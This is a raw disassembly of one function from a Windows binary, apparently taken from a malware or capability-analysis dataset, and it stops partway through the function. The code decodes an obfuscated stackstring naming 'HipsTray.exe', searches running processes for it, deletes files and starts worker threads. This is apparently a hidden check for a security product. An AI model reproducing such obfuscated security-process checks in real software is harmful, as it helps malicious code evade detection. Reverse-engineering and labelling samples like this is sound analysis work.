Function at 0x140006058
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x508
xor r14d, r14d
movaps xmmword [rax - 0x58], xmm6
mov dword [rbp + 0x450], r14d
movaps xmmword [rax - 0x68], xmm7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r9, [rbp + 0x195]
lea r8d, [rax + 1]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140006098
lea rax, [rbp + 0x195]
mov qword [rbp + 0x38], r14
lea r12d, [rdx + 0xf]
xorps xmm0, xmm0
mov rbx, r14
mov qword [rbp + 0x30], rbx
movups xmmword [rbp + 0x20], xmm0
cmp r9, rax
jne 0x1400060f0
mov esi, r12d
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], r14b
jmp 0x14000610e
lea r8, [rbp + 0x195]
mov rdx, r9
sub r8, r9
lea rcx, [rbp + 0x20]
call fcn.1400090d8
mov rsi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
xorps xmm0, xmm0
mov qword [rbp - 0x10], r14
movups xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x20], r14b
lea rax, [rbp - 0x80]
mov qword [rbp - 8], r12
or r8, 0xffffffffffffffff
movdqu xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r14
mov dword [rbp - 0x80], 0x690048
mov dword [rbp - 0x7c], 0x730070
mov dword [rbp - 0x78], 0x720054
mov dword [rbp - 0x74], 0x790061
mov dword [rbp - 0x70], 0x65002e
mov dword [rbp - 0x6c], 0x650078
mov word [rbp - 0x68], r14w
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
inc r8
cmp word [rax + r8*2], r14w
jne 0x140006173
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.140008ec8
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000620e
xor edx, edx
lea rcx, [rbp + 0x1a4]
mov r8d, 0x234
call sub.msvcrt.dll_memset
lea rdx, [rbp + 0x1a0]
mov dword [rbp + 0x1a0], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006201
cmp qword [rbp + 0x58], 7
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1cc]
cmova rdx, qword [rbp + 0x40]
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
je 0x140006881
lea rdx, [rbp + 0x1a0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400061ce
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r14d
mov rdx, qword [rbp + 0x58]
mov r15d, 0x1000
cmp rdx, 7
jbe 0x140006253
mov rcx, qword [rbp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, r15
jb 0x14000624e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000746e
call fcn.14000bfec
test edi, edi
je 0x14000625e
mov byte [0x140019190], 1
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rbx
cmp rax, rbx
jb 0x140007474
cmp rsi, r12
mov qword [rsp + 0x30], rbx
lea rax, [rbp + 0x20]
cmova rax, qword [rbp + 0x20]
lea r9, [rbp + 0x20]
cmova r9, qword [rbp + 0x20]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call fcn.14000996c
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140007f8c
mov qword [rbp - 0x30], r14
lea rdx, [rbp + 0x20]
mov qword [rbp - 0x28], r14
lea rcx, [rbp - 0x40]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
call fcn.140007f8c
mov qword [rbp + 0x10], r14
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x18], r14
lea rcx, [rbp]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
call fcn.140007f8c
mov qword [rbp - 0x50], r14
lea rdx, [rbp + 0x20]
mov qword [rbp - 0x48], r14
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
call fcn.140007f8c
mov qword [rbp - 0x70], r14
lea rdx, [rbp + 0x20]
mov qword [rbp - 0x68], r14
lea rcx, [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
call fcn.140007f8c
mov qword [rsp + 0x50], r14
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x58], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
lea rcx, [rsp + 0x40]
call fcn.140007f8c
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r12
mov byte [rax], r14b
mov rdx, qword [rbp - 8]
cmp rdx, r12
jbe 0x14000640f
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x14000640a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rsp + 0x58]
movups xmmword [rbp - 0x20], xmm6
movups xmmword [rbp - 0x10], xmm7
cmp rdx, r12
jbe 0x14000644f
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x14000644a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rbp - 0x68]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x40], r14b
cmp rdx, r12
jbe 0x140006494
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x14000648f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x80], r14b
cmp rdx, r12
jbe 0x1400064d6
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x1400064d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r14b
cmp rdx, r12
jbe 0x140006518
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006513
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r12
mov byte [rbp], r14b
cmp rdx, r12
jbe 0x14000655a
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006555
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r14b
cmp rdx, r12
jbe 0x14000659e
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006599
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000747a
call fcn.14000bfec
lea rcx, [rbp + 0x160]
call fcn.1400032bc
cmp qword [rbp - 8], r12
lea rax, [rbp - 0x20]
lea rdx, [rbp]
cmova rax, qword [rbp - 0x20]
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp], xmm0
call fcn.14000adc4
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x120]
call fcn.140007c40
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.140001f68
lea rcx, [rsp + 0x60]
call fcn.140007b48
mov rax, qword [rbp - 0x10]
mov rbx, r14
sub rdi, rax
mov r13, r14
cmp rdi, 2
jb 0x140007480
cmp qword [rbp - 8], r12
lea rcx, [0x140013f70]
mov qword [rsp + 0x30], 2
lea r9, [rbp - 0x20]
cmova r9, qword [rbp - 0x20]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.14000996c
cmp qword [rsp + 0x78], r12
lea rax, [rsp + 0x60]
lea rdx, [rbp]
cmova rax, qword [rsp + 0x60]
lea rcx, [rbp + 0x98]
mov qword [rbp - 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rbp - 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp], xmm0
call fcn.14000adc4
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.140007c40
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x40]
call fcn.140001f68
lea rcx, [rbp + 0x98]
call fcn.140007b48
mov rdx, qword [rsp + 0x78]
cmp rdx, r12
jbe 0x1400066ea
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x1400066e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007486
call fcn.14000bfec
cmp qword [rbp + 0x58], 7
lea rcx, [rbp + 0x40]
mov r8d, 3
mov dword [rbp - 0x40], r14d
cmova rcx, qword [rbp + 0x40]
lea rdx, [rsp + 0x60]
or r9d, 0xffffffff
call fcn.14000b3a8
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140002aa8
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140006b36
cmp eax, 1
setne al
test al, al
je 0x140006b36
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x458]
call fcn.140003374
cmp qword [rbp + 0x58], 7
lea rcx, [rbp + 0x40]
cmova rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x458]
test rcx, rcx
je 0x140006b2a
movzx eax, word [0x140013f74]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x98], r14w
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], 7
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
lea rcx, [rsp + 0x40]
movups xmmword [rbp - 0x60], xmm0
sub r8, rdx
mov qword [rsp + 0x70], r14
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
mov qword [rbp - 0x50], 1
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], al
mov byte [rbp - 0x5f], r14b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
call fcn.1400090d8
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005938
mov rdx, qword [rsp + 0x58]
cmp rdx, r12
jbe 0x140006835
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006830
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000748c
call fcn.14000bfec
mov rdi, qword [rbp - 0x80]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x40], r14b
cmp rdi, qword [rbp - 0x78]
je 0x140006b0b
mov r14, rdi
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], r12
jbe 0x140006862
mov r14, qword [rdi]
test r8, r8
je 0x14000688c
mov edx, 0x3d
mov rcx, r14
call sub.msvcrt.dll_memchr
mov rsi, rax
test rax, rax
je 0x14000688c
sub rsi, r14
jmp 0x140006890
mov edi, dword [rbp + 0x1a8]
jmp 0x140006211
or rsi, 0xffffffffffffffff
cmp rsi, 0xffffffffffffffff
jne 0x1400068ae
add rdi, 0x20
cmp rdi, qword [rbp - 0x78]
jne 0x140006852
xor r14d, r14d
mov r15d, 0x1000
jmp 0x140006b0b
xor r14d, r14d
mov r8, rsi
cmp qword [rdi + 0x10], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
cmovb r8, qword [rdi + 0x10]
mov rdx, rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
cmp qword [rdi + 0x18], r12
jbe 0x1400068db
mov rdx, qword [rdi]
lea rcx, [rsp + 0x40]
call fcn.1400090d8
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x140]
call fcn.140008050
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400086ec
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.140007bac
lea rcx, [rbp - 0x60]
call fcn.140007b48
mov rdx, qword [rsp + 0x58]
mov r15d, 0x1000
cmp rdx, r12
jbe 0x140006957
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006952
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007492
call fcn.14000bfec
mov rax, qword [rdi + 0x10]
inc rsi
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
mov qword [rsp + 0x58], r14
movups xmmword [rsp + 0x40], xmm0
cmp rax, rsi
jb 0x140007498
sub rax, rsi
or r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
cmp qword [rdi + 0x18], r12
jbe 0x140006990
mov rdi, qword [rdi]
lea rdx, [rdi + rsi]
lea rcx, [rsp + 0x40]
call fcn.1400090d8
cmp qword [rsp + 0x58], r12
lea rax, [rsp + 0x40]
lea rdx, [rbp]
cmova rax, qword [rsp + 0x40]
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x40], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp], xmm0
call fcn.14000adc4
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x98]
call fcn.140007bac
lea rcx, [rbp - 0x60]
call fcn.140007b48
mov rdx, qword [rsp + 0x58]
cmp rdx, r12
jbe 0x140006a22
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006a1d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000749e
call fcn.14000bfec
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.1400023ec
mov rcx, rax
lea rdx, [rbp - 0x60]
call fcn.140002c78
lea rcx, [rsp + 0x40]
call fcn.140007b48
cmp qword [rsp + 0x70], r14
je 0x140006b0b
cmp qword [rbp + 0xa8], r14
je 0x140006b0b
call fcn.140004198
mov edx, eax
lea rcx, [rbp]
call fcn.1400040ac
lea rdx, [rsp + 0x60]
mov rbx, rax
lea rcx, [rbp - 0x60]
call fcn.1400089b4
mov r8, rbx
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.140008aa0
lea rcx, [rbp - 0x60]
call fcn.140007b48
lea rcx, [rbp]
call fcn.140007b48
mov ecx, 0x50
call fcn.14000bd68
lea rdx, [rsp + 0x40]
mov rbx, rax
lea rcx, [rax + 8]
mov dword [rax], r14d
call fcn.140007c40
lea rcx, [rbx + 0x28]
lea rdx, [rbp + 0x98]
call fcn.140007c40
mov dword [rbp + 0x450], 3
lea r8, [0x1400074b0]
mov r9, rbx
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rbx + 0x48], r14d
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rsp + 0x40]
mov r13, rax
call fcn.140007b48
lea rcx, [rbp - 0x80]
call fcn.1400077ac
lea rcx, [rbp + 0x98]
call fcn.140007b48
lea rcx, [rsp + 0x60]
call fcn.140007b48
lea rcx, [rbp + 0x458]
call fcn.140007814
lea rcx, [rbp + 0x40]
call fcn.140007b48
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x458]
call fcn.140003374
mov rdi, qword [rbp + 0x458]
test rdi, rdi
je 0x140007016
cmp qword [rbp + 0x138], 7
lea rcx, [rbp + 0x120]
cmova rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
movzx eax, word [0x140013f74]
lea rcx, [rbp + 0x40]
xorps xmm0, xmm0
mov qword [rbp + 0x90], r14
movups xmmword [rbp + 0xe8], xmm0
mov word [rbp + 0xe8], r14w
movdqu xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], 7
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
movups xmmword [rsp + 0x60], xmm0
sub r8, rdx
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x60], al
mov byte [rsp + 0x61], r14b
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
call fcn.1400090d8
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x108]
call fcn.140005938
mov rdx, qword [rbp + 0x58]
cmp rdx, r12
jbe 0x140006c3f
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, r15
jb 0x140006c3a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074a4
call fcn.14000bfec
mov rsi, qword [rbp + 0x108]
mov qword [rbp + 0x58], r12
mov r12d, r14d
mov qword [rbp + 0x50], r14
mov byte [rbp + 0x40], r14b
jmp 0x140006fbf
cmp qword [rsi + 0x18], 0xf
mov r15, rsi
mov r14, qword [rsi + 0x10]
jbe 0x140006c6b
mov r15, qword [rsi]
test r14, r14
je 0x140006c8d
mov r8, r14
mov edx, 0x3d
mov rcx, r15
call sub.msvcrt.dll_memchr
mov rdi, rax
test rax, rax
je 0x140006c8d
sub rdi, r15
jmp 0x140006c91
or rdi, 0xffffffffffffffff
cmp rdi, 0xffffffffffffffff
je 0x140006fb8
xor r15d, r15d
inc r12d
cmp r14, rdi
mov qword [rsp + 0x70], r15
mov r8, rdi
mov qword [rsp + 0x78], r15
cmovb r8, r14
xorps xmm0, xmm0
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
movups xmmword [rsp + 0x60], xmm0
jbe 0x140006cca
mov rdx, qword [rsi]
lea rcx, [rsp + 0x60]
call fcn.1400090d8
mov rax, qword [rsi + 0x10]
inc rdi
mov qword [rsp + 0x50], r15
xorps xmm0, xmm0
mov qword [rsp + 0x58], r15
movups xmmword [rsp + 0x40], xmm0
cmp rax, rdi
jb 0x140007462
sub rax, rdi
or r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
cmp qword [rsi + 0x18], 0xf
mov rax, rsi
jbe 0x140006d11
mov rax, qword [rsi]
lea rdx, [rax + rdi]
lea rcx, [rsp + 0x40]
call fcn.1400090d8
cmp r12d, 1
jne 0x140006d97
cmp qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x40]
lea rdx, [rbp - 0x60]
cmova rax, qword [rsp + 0x40]
lea rcx, [rbp + 0x40]
mov qword [rbp - 0x40], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x60], xmm0
call fcn.14000adc4
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xe8]
call fcn.140007bac
lea rcx, [rbp + 0x40]
call fcn.140007b48
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xe8]
call fcn.1400023ec
mov rcx, rax
lea rdx, [rbp - 0x80]
call fcn.140002c78
lea rcx, [rbp + 0x40]
call fcn.140007b48
cmp qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x40]
lea rdx, [rbp - 0x60]
cmova rax, qword [rsp + 0x40]
lea rcx, [rbp + 0x98]
mov qword [rbp], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x60], xmm0
call fcn.14000adc4
cmp byte [0x140019190], r15b
je 0x140006e26
lea rcx, [rbp + 0x98]
call fcn.140005b64
test al, al
je 0x140006e26
mov rax, qword [rbp + 0xd8]
cmp rax, qword [rbp + 0xe0]
je 0x140006e10
lea rdx, [rbp + 0x98]
mov rcx, rax
call fcn.140007c40
add qword [rbp + 0xd8], 0x20
jmp 0x140006e26
lea r8, [rbp + 0x98]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14000a180
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x140]
call fcn.140008050
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400086ec
call fcn.140004198
mov edx, eax
lea rcx, [rbp + 0x140]
call fcn.1400040ac
lea rdx, [rbp - 0x80]
mov rdi, rax
lea rcx, [rbp - 0x60]
call fcn.1400089b4
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, rax
call fcn.140008aa0
lea rcx, [rbp - 0x60]
call fcn.140007b48
lea rcx, [rbp + 0x140]
call fcn.140007b48
mov ecx, 0x50
call fcn.14000bd68
lea rdx, [rbp + 0x40]
mov rdi, rax
lea rcx, [rax + 8]
mov dword [rax], r12d
call fcn.140007c40
mov r14d, dword [rbp + 0x450]
lea rcx, [rdi + 0x28]
lea rdx, [rbp + 0x98]
or r14d, 4
call fcn.140007c40
or r14d, 8
mov dword [rbp + 0x450], r14d
xor r14d, r14d
mov dword [rdi + 0x48], r14d
mov rdx, qword [rbp + 0x88]
mov qword [rbp + 0x460], rdi
cmp rdx, qword [rbp + 0x90]
je 0x140006ef8
mov qword [rdx], rdi
add qword [rbp + 0x88], 8
jmp 0x140006f0b
lea r8, [rbp + 0x460]
lea rcx, [rbp + 0x80]
call fcn.140009de8
lea rcx, [rbp + 0x40]
call fcn.140007b48
lea rcx, [rbp - 0x80]
call fcn.140007b48
lea rcx, [rbp + 0x98]
call fcn.140007b48
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006f66
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074aa
call fcn.14000bfec
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r14b
cmp rdx, 0xf
jbe 0x140006fbb
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fb1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400074aa
call fcn.14000bfec
jmp 0x140006fbb
xor r14d, r14d
add rsi, 0x20
cmp rsi, qword [rbp + 0x110]
jne 0x140006c5a
mov r15, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x80]
mov rax, r15
sub rax, rdi
test rax, 0xfffffffffffffff8
jne 0x1400070e6
lea rcx, [rbp + 0x108]
call fcn.1400077ac
lea rcx, [rbp + 0xe8]
call fcn.140007b48
lea rcx, [rbp + 0x80]
call fcn.14000766c
mov r12d, 0xf
lea rcx, [rbp + 0x458]
call fcn.140007814
test r13, r13
je 0x14000703c
or edx, 0xffffffff
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140007060
lea rcx, [rbx + 0x28]
call fcn.140007b48
lea rcx, [rbx + 8]
call fcn.140007b48
mov edx, 0x50
mov rcx, rbx
call fcn.14000bfec
lea rcx, [rbp + 0x120]
call fcn.140007b48
lea rcx, [rbp + 0x160]
call fcn.140007b48
lea rcx, [rbp + 0xd0]
call fcn.140007720
mov rdx, qword [rbp - 8]
cmp rdx, r12
jbe 0x1400070be
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007468
call fcn.14000bfec
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r14b
cmp rdx, r12
jbe 0x14000743e
inc rdx
cmp rdx, 0x1000
jmp 0x14000741b
mov qword [rbp + 0xc8], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb8], xmm0
mov rsi, qword [rbp + 0xc0]
cmp rdi, r15
je 0x140007181
mov r9, qword [rdi]
lea r8, [0x1400075ec]
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x450], rax
cmp rsi, qword [rbp + 0xc8]
je 0x140007142
mov qword [rsi], rax
add rsi, 8
mov qword [rbp + 0xc0], rsi
jmp 0x14000715f
lea r8, [rbp + 0x450]
mov rdx, rsi
lea rcx, [rbp + 0xb8]
call fcn.14000a524
mov rsi, qword [rbp + 0xc0]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
add rdi, 8
cmp rdi, r15
jne 0x140007104
mov r15, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x80]
mov r14, qword [rbp + 0xb8]
mov r12, r14
cmp r14, rsi
je 0x1400071c0
mov rdi, qword [r12]
or edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add r12, 8
cmp r12, rsi
jne 0x140007190
mov r15, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x80]
xor r12d, r12d
mov sil, 1
cmp rdi, r15
je 0x1400071fd
mov rax, qword [rdi]
mov r14d, dword [rax + 0x48]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14d, r14d
je 0x1400071cb
cmp r14d, 1
jne 0x1400071f3
add rdi, 8
cmp rdi, r15
jne 0x1400071cb
jmp 0x1400071f6
mov sil, r12b
mov r14, qword [rbp + 0xb8]
cmp byte [0x140019190], r12b
je 0x140007227
mov r15, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xd0]
jmp 0x140007222
mov rcx, rdi
call fcn.140005dc4
add rdi, 0x20
cmp rdi, r15
jne 0x140007216
test sil, sil
je 0x1400072f5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xe8]
call fcn.140002490
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140007c40
lea rcx, [rbp + 0x140]
call fcn.140007b48
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_main_void_::_74::_lambda_5___bool___.0
mov qword [rsp + 0x70], r12
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x140]
lea rax, [rbp + 0xe8]
